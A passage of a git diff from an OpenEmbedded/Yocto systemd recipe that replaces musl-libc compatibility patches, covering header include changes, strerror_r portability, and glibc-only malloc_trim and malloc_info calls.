+ #include "networkd-queue.h"
+ #include "string-util.h"
+ #include "vlan-util.h"
++#include <net/if.h>
++#include <linux/if_bridge.h>
+
+ #define STATIC_BRIDGE_MDB_ENTRIES_PER_NETWORK_MAX 1024U
+
+diff --git a/src/network/networkd-dhcp-common.c b/src/network/networkd-dhcp-common.c
+index 080b15387c..efe8283957 100644
+--- a/src/network/networkd-dhcp-common.c
++++ b/src/network/networkd-dhcp-common.c
+@@ -1,7 +1,8 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
++#include <net/if.h>
+
+ #include "bus-error.h"
+ #include "bus-locator.h"
+diff --git a/src/network/networkd-dhcp-prefix-delegation.c b/src/network/networkd-dhcp-prefix-delegation.c
+index af2fe9efcd..511565700f 100644
+--- a/src/network/networkd-dhcp-prefix-delegation.c
++++ b/src/network/networkd-dhcp-prefix-delegation.c
+@@ -1,6 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/ipv6_route.h>
+
+ #include "dhcp6-lease-internal.h"
+ #include "hashmap.h"
+@@ -20,6 +19,8 @@
+ #include "strv.h"
+ #include "tunnel.h"
+
++#include <linux/ipv6_route.h>
++
+ bool link_dhcp_pd_is_enabled(Link *link) {
+ assert(link);
+
+diff --git a/src/network/networkd-dhcp-server.c b/src/network/networkd-dhcp-server.c
+index 607fe0053c..9ce4005874 100644
+--- a/src/network/networkd-dhcp-server.c
++++ b/src/network/networkd-dhcp-server.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if.h>
+
+ #include "sd-dhcp-server.h"
+diff --git a/src/network/networkd-dhcp4.c b/src/network/networkd-dhcp4.c
+index efbae6d868..1ea2151d50 100644
+--- a/src/network/networkd-dhcp4.c
++++ b/src/network/networkd-dhcp4.c
+@@ -3,7 +3,7 @@
+ #include <netinet/in.h>
+ #include <netinet/ip.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "dhcp-client-internal.h"
+diff --git a/src/network/networkd-ipv6ll.c b/src/network/networkd-ipv6ll.c
+index 32229a3fc7..662a345d6e 100644
+--- a/src/network/networkd-ipv6ll.c
++++ b/src/network/networkd-ipv6ll.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "in-addr-util.h"
+ #include "networkd-address.h"
+diff --git a/src/network/networkd-link.c b/src/network/networkd-link.c
+index ee5f0f2c0a..ea5269a2de 100644
+--- a/src/network/networkd-link.c
++++ b/src/network/networkd-link.c
+@@ -3,7 +3,7 @@
+ #include <net/if.h>
+ #include <netinet/in.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_link.h>
+ #include <linux/netdevice.h>
+ #include <sys/socket.h>
+diff --git a/src/network/networkd-ndisc.c b/src/network/networkd-ndisc.c
+index ab9eeb13a5..dd96fe7483 100644
+--- a/src/network/networkd-ndisc.c
++++ b/src/network/networkd-ndisc.c
+@@ -6,7 +6,7 @@
+ #include <arpa/inet.h>
+ #include <netinet/icmp6.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "sd-ndisc.h"
+
+diff --git a/src/network/networkd-route.c b/src/network/networkd-route.c
+index 7218d799fc..30d5574eae 100644
+--- a/src/network/networkd-route.c
++++ b/src/network/networkd-route.c
+@@ -1,9 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/icmpv6.h>
+-#include <linux/ipv6_route.h>
+-#include <linux/nexthop.h>
+-
+ #include "alloc-util.h"
+ #include "event-util.h"
+ #include "netlink-util.h"
+@@ -21,6 +17,10 @@
+ #include "vrf.h"
+ #include "wireguard.h"
+
++#include <linux/icmpv6.h>
++#include <linux/ipv6_route.h>
++#include <linux/nexthop.h>
++
+ int route_new(Route **ret) {
+ _cleanup_(route_freep) Route *route = NULL;
+
+diff --git a/src/network/networkd-setlink.c b/src/network/networkd-setlink.c
+index 2298f9ea3a..7d5f87de53 100644
+--- a/src/network/networkd-setlink.c
++++ b/src/network/networkd-setlink.c
+@@ -2,7 +2,7 @@
+
+ #include <netinet/in.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_bridge.h>
+
+ #include "missing_network.h"
+diff --git a/src/network/networkd-sysctl.c b/src/network/networkd-sysctl.c
+index 2b226b2e2a..f12a474e2f 100644
+--- a/src/network/networkd-sysctl.c
++++ b/src/network/networkd-sysctl.c
+@@ -2,7 +2,7 @@
+
+ #include <netinet/in.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "missing_network.h"
+ #include "networkd-link.h"
+diff --git a/src/shared/linux/ethtool.h b/src/shared/linux/ethtool.h
+index 3d1da515c0..3fca9a4faf 100644
+--- a/src/shared/linux/ethtool.h
++++ b/src/shared/linux/ethtool.h
+@@ -16,7 +16,8 @@
+
+ #include <linux/const.h>
+ #include <linux/types.h>
+-#include <linux/if_ether.h>
++#include <netinet/if_ether.h>
++//#include <linux/if_ether.h>
+
+ #include <limits.h> /* for INT_MAX */
+
+diff --git a/src/shared/netif-util.c b/src/shared/netif-util.c
+index f56c5646c1..5af28ff119 100644
+--- a/src/shared/netif-util.c
++++ b/src/shared/netif-util.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "arphrd-util.h"
+ #include "device-util.h"
+diff --git a/src/udev/udev-builtin-net_id.c b/src/udev/udev-builtin-net_id.c
+index f528a46b8e..830318cda5 100644
+--- a/src/udev/udev-builtin-net_id.c
++++ b/src/udev/udev-builtin-net_id.c
+@@ -18,7 +18,7 @@
+ #include <stdarg.h>
+ #include <unistd.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/netdevice.h>
+ #include <linux/pci_regs.h>
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
deleted file mode 100644
index 3d456ec83a..0000000000
--- a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From bb28a9c870bb47dcdb1ccebaa8e3a5a86730a244 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 4 Jul 2018 15:00:44 +0800
-Subject: [PATCH] Do not disable buffering when writing to oom_score_adj
-
-On musl, disabling buffering when writing to oom_score_adj will
-cause the following error.
-
- Failed to adjust OOM setting: Invalid argument
-
-This error appears for systemd-udevd.service and dbus.service.
-This is because kernel receives '-' instead of the whole '-900'
-if buffering is disabled.
-
-This is libc implementation specific, as glibc does not have this issue.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/process-util.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: systemd-stable/src/basic/process-util.c
-===================================================================
---- systemd-stable.orig/src/basic/process-util.c
-+++ systemd-stable/src/basic/process-util.c
-@@ -1536,7 +1536,7 @@ int set_oom_score_adjust(int value) {
- sprintf(t, "%i", value);
-
- return write_string_file("/proc/self/oom_score_adj", t,
-- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
-+ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
- }
-
- int pidfd_get_pid(int fd, pid_t *ret) {
diff --git a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
deleted file mode 100644
index 48fd007e11..0000000000
--- a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 4938705454cf46cfe8deac8ce457d5d2432cbead Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 10 Jul 2018 15:40:17 +0800
-Subject: [PATCH] distinguish XSI-compliant strerror_r from GNU-specifi
- strerror_r
-
-XSI-compliant strerror_r and GNU-specifi strerror_r are different.
-
- int strerror_r(int errnum, char *buf, size_t buflen);
- /* XSI-compliant */
-
- char *strerror_r(int errnum, char *buf, size_t buflen);
- /* GNU-specific */
-
-We need to distinguish between them. Otherwise, we'll get an int value
-assigned to (char *) variable, resulting in segment fault.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/journal/journal-send.c | 5 +++++
- src/libsystemd/sd-bus/bus-error.c | 5 +++++
- 2 files changed, 10 insertions(+)
-
-Index: systemd-stable/src/journal/journal-send.c
-===================================================================
---- systemd-stable.orig/src/journal/journal-send.c
-+++ systemd-stable/src/journal/journal-send.c
-@@ -348,7 +348,12 @@ static int fill_iovec_perror_and_send(co
- char* j;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+ j = buffer + 8 + k;
-+#else
- j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+#endif
- if (errno == 0) {
- char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
-
-Index: systemd-stable/src/libsystemd/sd-bus/bus-error.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-bus/bus-error.c
-+++ systemd-stable/src/libsystemd/sd-bus/bus-error.c
-@@ -379,7 +379,12 @@ static void bus_error_strerror(sd_bus_er
- return;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(error, m, k);
-+ x = m;
-+#else
- x = strerror_r(error, m, k);
-+#endif
- if (errno == ERANGE || strlen(x) >= k - 1) {
- free(m);
- k *= 2;
diff --git a/meta/recipes-core/systemd/systemd/0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch b/meta/recipes-core/systemd/systemd/0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch
new file mode 100644
index 0000000000..75f6b9094a
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch
@@ -0,0 +1,52 @@
+From be02bd0876a061728661535a709d313e39fe1ac3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Nov 2022 13:31:34 -0800
+Subject: [PATCH 18/22] test-bus-error: strerror() is assumed to be GNU
+ specific version mark it so
+
+Upstream-Status: Inappropriate [Upstream systemd only supports glibc]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/libsystemd/sd-bus/test-bus-error.c | 2 ++
+ src/test/test-errno-util.c | 3 ++-
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/src/libsystemd/sd-bus/test-bus-error.c b/src/libsystemd/sd-bus/test-bus-error.c
+index a55f3f9856..4123bf3da0 100644
+--- a/src/libsystemd/sd-bus/test-bus-error.c
++++ b/src/libsystemd/sd-bus/test-bus-error.c
+@@ -99,7 +99,9 @@ TEST(error) {
+ assert_se(!sd_bus_error_is_set(&error));
+ assert_se(sd_bus_error_set_errno(&error, EBUSY) == -EBUSY);
+ assert_se(streq(error.name, "System.Error.EBUSY"));
++#ifdef __GLIBC__
+ assert_se(streq(error.message, STRERROR(EBUSY)));
++#endif
+ assert_se(sd_bus_error_has_name(&error, "System.Error.EBUSY"));
+ assert_se(sd_bus_error_get_errno(&error) == EBUSY);
+ assert_se(sd_bus_error_is_set(&error));
+diff --git a/src/test/test-errno-util.c b/src/test/test-errno-util.c
+index 376d532281..967cfd4d67 100644
+--- a/src/test/test-errno-util.c
++++ b/src/test/test-errno-util.c
+@@ -4,7 +4,7 @@
+ #include "stdio-util.h"
+ #include "string-util.h"
+ #include "tests.h"
+-
++#ifdef __GLIBC__
+ TEST(strerror_not_threadsafe) {
+ /* Just check that strerror really is not thread-safe. */
+ log_info("strerror(%d) → %s", 200, strerror(200));
+@@ -46,6 +46,7 @@ TEST(STRERROR_OR_ELSE) {
+ log_info("STRERROR_OR_ELSE(EPERM, \"EOF\") → %s", STRERROR_OR_EOF(EPERM));
+ log_info("STRERROR_OR_ELSE(-EPERM, \"EOF\") → %s", STRERROR_OR_EOF(-EPERM));
+ }
++#endif /* __GLIBC__ */
+
+ TEST(PROTECT_ERRNO) {
+ errno = 12;
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch b/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
deleted file mode 100644
index 3b8064677f..0000000000
--- a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 1c4c73a7cc0fb59eb68ab70699f7f51af5c163b2 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:18:00 +0800
-Subject: [PATCH] Hide __start_BUS_ERROR_MAP and __stop_BUS_ERROR_MAP
-
-for currently unknown reasons they get exported to the shared libries
-even without being listed in the sym file
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/libsystemd/sd-bus/bus-error.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
-index 28a5159c4480..962a4de10c56 100644
---- a/src/libsystemd/sd-bus/bus-error.c
-+++ b/src/libsystemd/sd-bus/bus-error.c
-@@ -54,8 +54,8 @@ BUS_ERROR_MAP_ELF_REGISTER const sd_bus_error_map bus_standard_errors[] = {
- };
-
- /* GCC maps this magically to the beginning and end of the BUS_ERROR_MAP section */
--extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[];
--extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[];
-+extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-+extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-
- /* Additional maps registered with sd_bus_error_add_map() are in this
- * NULL terminated array */
diff --git a/meta/recipes-core/systemd/systemd/0019-errno-util-Make-STRERROR-portable-for-musl.patch b/meta/recipes-core/systemd/systemd/0019-errno-util-Make-STRERROR-portable-for-musl.patch
new file mode 100644
index 0000000000..e038b73678
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0019-errno-util-Make-STRERROR-portable-for-musl.patch
@@ -0,0 +1,42 @@
+From 46d80840bfe37e67d4f18c37a77751ea1fe63a07 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 23 Jan 2023 23:39:46 -0800
+Subject: [PATCH 19/22] errno-util: Make STRERROR portable for musl
+
+Sadly, systemd has decided to use yet another GNU extention in a macro
+lets make this such that we can use XSI compliant strerror_r() for
+non-glibc hosts
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/basic/errno-util.h | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/src/basic/errno-util.h b/src/basic/errno-util.h
+index 27804e6382..274c1c6ef1 100644
+--- a/src/basic/errno-util.h
++++ b/src/basic/errno-util.h
+@@ -15,8 +15,16 @@
+ * https://stackoverflow.com/questions/34880638/compound-literal-lifetime-and-if-blocks
+ *
+ * Note that we use the GNU variant of strerror_r() here. */
+-#define STRERROR(errnum) strerror_r(abs(errnum), (char[ERRNO_BUF_LEN]){}, ERRNO_BUF_LEN)
+-
++static inline const char * STRERROR(int errnum);
++
++static inline const char * STRERROR(int errnum) {
++#ifdef __GLIBC__
++ return strerror_r(abs(errnum), (char[ERRNO_BUF_LEN]){}, ERRNO_BUF_LEN);
++#else
++ static __thread char buf[ERRNO_BUF_LEN];
++ return strerror_r(abs(errnum), buf, ERRNO_BUF_LEN) ? "unknown error" : buf;
++#endif
++}
+ /* A helper to print an error message or message for functions that return 0 on EOF.
+ * Note that we can't use ({ … }) to define a temporary variable, so errnum is
+ * evaluated twice. */
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch b/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
deleted file mode 100644
index db4041bbb1..0000000000
--- a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8303d49cabaf3ab8890ba1d266972c721dfe6ee8 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:27:54 +0800
-Subject: [PATCH] missing_type.h: add __compar_d_fn_t definition
-
-Fix the following compile failure:
-src/basic/util.h:71:18: error: unknown type name '__compar_d_fn_t'; did you mean '__compar_fn_t'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/missing_type.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index 23602ebbd533..917d314a81bf 100644
---- a/src/basic/missing_type.h
-+++ b/src/basic/missing_type.h
-@@ -13,6 +13,7 @@
-
- #ifndef __GLIBC__
- typedef int (*comparison_fn_t)(const void *, const void *);
-+typedef int (*__compar_d_fn_t) (const void *, const void *, void *);
- #endif
-
- #ifndef __COMPAR_FN_T
diff --git a/meta/recipes-core/systemd/systemd/0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch b/meta/recipes-core/systemd/systemd/0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch
new file mode 100644
index 0000000000..b83fffe793
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch
@@ -0,0 +1,39 @@
+From 9eb4867b4e2dbdb2484ae854022aff97e2f0feb3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 2 Aug 2023 12:06:27 -0700
+Subject: [PATCH 20/22] sd-event: Make malloc_trim() conditional on glibc
+
+musl does not have this API
+
+Upstream-Status: Inappropriate [musl-specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/libsystemd/sd-event/sd-event.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/src/libsystemd/sd-event/sd-event.c b/src/libsystemd/sd-event/sd-event.c
+index 288798a0dc..6419a7f216 100644
+--- a/src/libsystemd/sd-event/sd-event.c
++++ b/src/libsystemd/sd-event/sd-event.c
+@@ -1874,7 +1874,7 @@ _public_ int sd_event_add_exit(
+ }
+
+ _public_ int sd_event_trim_memory(void) {
+- int r;
++ int r = 0;
+
+ /* A default implementation of a memory pressure callback. Simply releases our own allocation caches
+ * and glibc's. This is automatically used when people call sd_event_add_memory_pressure() with a
+@@ -1888,7 +1888,9 @@ _public_ int sd_event_trim_memory(void) {
+
+ usec_t before_timestamp = now(CLOCK_MONOTONIC);
+ hashmap_trim_pools();
++#ifdef __GLIBC__
+ r = malloc_trim(0);
++#endif
+ usec_t after_timestamp = now(CLOCK_MONOTONIC);
+
+ if (r > 0)
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch b/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch
deleted file mode 100644
index 67d9162c08..0000000000
--- a/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 190854c2114dc6e74c8859dc251e3737e3c0f353 Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Fri, 7 Aug 2020 15:19:27 +0000
-Subject: [PATCH] Handle missing LOCK_EX
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/partition/makefs.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/partition/makefs.c b/src/partition/makefs.c
-index 97f50c9033..7f55acd229 100644
---- a/src/partition/makefs.c
-+++ b/src/partition/makefs.c
-@@ -5,6 +5,7 @@
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <unistd.h>
-+#include <sys/file.h>
-
- #include "alloc-util.h"
- #include "blockdev-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
deleted file mode 100644
index 7dacc36837..0000000000
--- a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 6364ff5534678c158a7fb8d4e50d0a6ce72c1ad8 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:44:54 +0800
-Subject: [PATCH] avoid redefinition of prctl_mm_map structure
-
-Fix the following compile failure:
-error: redefinition of 'struct prctl_mm_map'
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/missing_prctl.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
-index f80cd17f346b..47e489354053 100644
---- a/src/basic/missing_prctl.h
-+++ b/src/basic/missing_prctl.h
-@@ -1,7 +1,9 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
- #pragma once
-
-+#ifdef __GLIBC__
- #include <linux/prctl.h>
-+#endif
-
- /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
- #ifndef PR_CAP_AMBIENT
diff --git a/meta/recipes-core/systemd/systemd/0021-shared-Do-not-use-malloc_info-on-musl.patch b/meta/recipes-core/systemd/systemd/0021-shared-Do-not-use-malloc_info-on-musl.patch
new file mode 100644
index 0000000000..7eff069bb7
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0021-shared-Do-not-use-malloc_info-on-musl.patch
@@ -0,0 +1,57 @@
+From 502597b9ddd6b145541b23fadca0b1d3ca9f6367 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 2 Aug 2023 12:20:40 -0700
+Subject: [PATCH 21/22] shared: Do not use malloc_info on musl
+
+Upstream-Status: Inappropriate [musl-specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/shared/bus-util.c | 5 +++--
+ src/shared/common-signal.c | 4 ++--
+ 2 files changed, 5 insertions(+), 4 deletions(-)
+
+diff --git a/src/shared/bus-util.c b/src/shared/bus-util.c
+index 74f148c8b4..2d862a123d 100644
+--- a/src/shared/bus-util.c
++++ b/src/shared/bus-util.c
+@@ -611,15 +611,16 @@ static int method_dump_memory_state_by_fd(sd_bus_message *message, void *userdat
+ _cleanup_close_ int fd = -EBADF;
+ size_t dump_size;
+ FILE *f;
+- int r;
++ int r = 0;
+
+ assert(message);
+
+ f = memstream_init(&m);
+ if (!f)
+ return -ENOMEM;
+-
++#ifdef __GLIBC__
+ r = RET_NERRNO(malloc_info(/* options= */ 0, f));
++#endif
+ if (r < 0)
+ return r;
+
+diff --git a/src/shared/common-signal.c b/src/shared/common-signal.c
+index 8e70e365dd..9e782caec9 100644
+--- a/src/shared/common-signal.c
++++ b/src/shared/common-signal.c
+@@ -65,12 +65,12 @@ int sigrtmin18_handler(sd_event_source *s, const struct signalfd_siginfo *si, vo
+ log_oom();
+ break;
+ }
+-
++#ifdef __GLIBC__
+ if (malloc_info(0, f) < 0) {
+ log_error_errno(errno, "Failed to invoke malloc_info(): %m");
+ break;
+ }
+-
++#endif
+ (void) memstream_dump(LOG_INFO, &m);
+ break;
+ }
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch b/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
deleted file mode 100644
index d57ca1fd39..0000000000
--- a/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 328c39fae2631deb5737dd56f46159dd6b4cdbed Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Fri, 7 Aug 2020 15:20:17 +0000
-Subject: [PATCH] Fix incompatible pointer type struct sockaddr_un *
-
-| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c: In function 'cant_be_in_netns':
-| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:4893:25: error: passing argument 2 of 'connect' from incompatible pointer type [-Werror=incompatible-pointer-types]
-| 4893 | if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-| | ^~~~~~
-| | |
-| | struct sockaddr_un *
-| In file included from ../../../../../../workspace/sources/systemd/src/systemd/sd-daemon.h:22,
-| from ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:21:
-| /home/ubuntu/poky/build/tmp/work/core2-64-poky-linux-musl/systemd/1_246-r0/recipe-sysroot/usr/include/sys/socket.h:384:19: note: expected 'const struct sockaddr *' but argument is of type 'struct sockaddr_un *'
-| 384 | int connect (int, const struct sockaddr *, socklen_t);
-| | ^~~~~~~~~~~~~~~~~~~~~~~
-| cc1: some warnings being treated as errors
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/nspawn/nspawn.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
-index 0450c9f795..7305db04ef 100644
---- a/src/nspawn/nspawn.c
-+++ b/src/nspawn/nspawn.c
-@@ -4890,7 +4890,7 @@ static int cant_be_in_netns(void) {
- if (fd < 0)
- return log_error_errno(errno, "Failed to allocate udev control socket: %m");
-
-- if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-+ if (connect(fd, (struct sockaddr *)&sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-
- if (errno == ENOENT || ERRNO_IS_DISCONNECT(errno))
- return log_error_errno(SYNTHETIC_ERRNO(EOPNOTSUPP),
diff --git a/meta/recipes-core/systemd/systemd/0022-avoid-missing-LOCK_EX-declaration.patch b/meta/recipes-core/systemd/systemd/0022-avoid-missing-LOCK_EX-declaration.patch
new file mode 100644
index 0000000000..24f3bf74a0
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0022-avoid-missing-LOCK_EX-declaration.patch
@@ -0,0 +1,43 @@
+From fd52f1764647e03a35e8f0ed0ef952049073ccbd Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 2 Jan 2024 11:03:27 +0800
+Subject: [PATCH 22/22] avoid missing LOCK_EX declaration
+
+This only happens on MUSL. Include sys/file.h to avoid compilation
+error about missing LOCK_EX declaration.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/core/exec-invoke.c | 1 +
+ src/shared/dev-setup.h | 1 +
+ 2 files changed, 2 insertions(+)
+
+diff --git a/src/core/exec-invoke.c b/src/core/exec-invoke.c
+index 70d963e269..7084811439 100644
+--- a/src/core/exec-invoke.c
++++ b/src/core/exec-invoke.c
+@@ -4,6 +4,7 @@
+ #include <sys/ioctl.h>
+ #include <sys/mount.h>
+ #include <sys/prctl.h>
++#include <sys/file.h>
+
+ #if HAVE_PAM
+ #include <security/pam_appl.h>
+diff --git a/src/shared/dev-setup.h b/src/shared/dev-setup.h
+index 5339bc4e5e..0697495f23 100644
+--- a/src/shared/dev-setup.h
++++ b/src/shared/dev-setup.h
+@@ -2,6 +2,7 @@
+ #pragma once
+
+ #include <sys/types.h>
++#include <sys/file.h>
+
+ int lock_dev_console(void);
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0023-Fix-field-efi_loader_entry_one_shot_stat-has-incompl.patch b/meta/recipes-core/systemd/systemd/0023-Fix-field-efi_loader_entry_one_shot_stat-has-incompl.patch
deleted file mode 100644
index 78660691d3..0000000000
--- a/meta/recipes-core/systemd/systemd/0023-Fix-field-efi_loader_entry_one_shot_stat-has-incompl.patch
+++ /dev/null
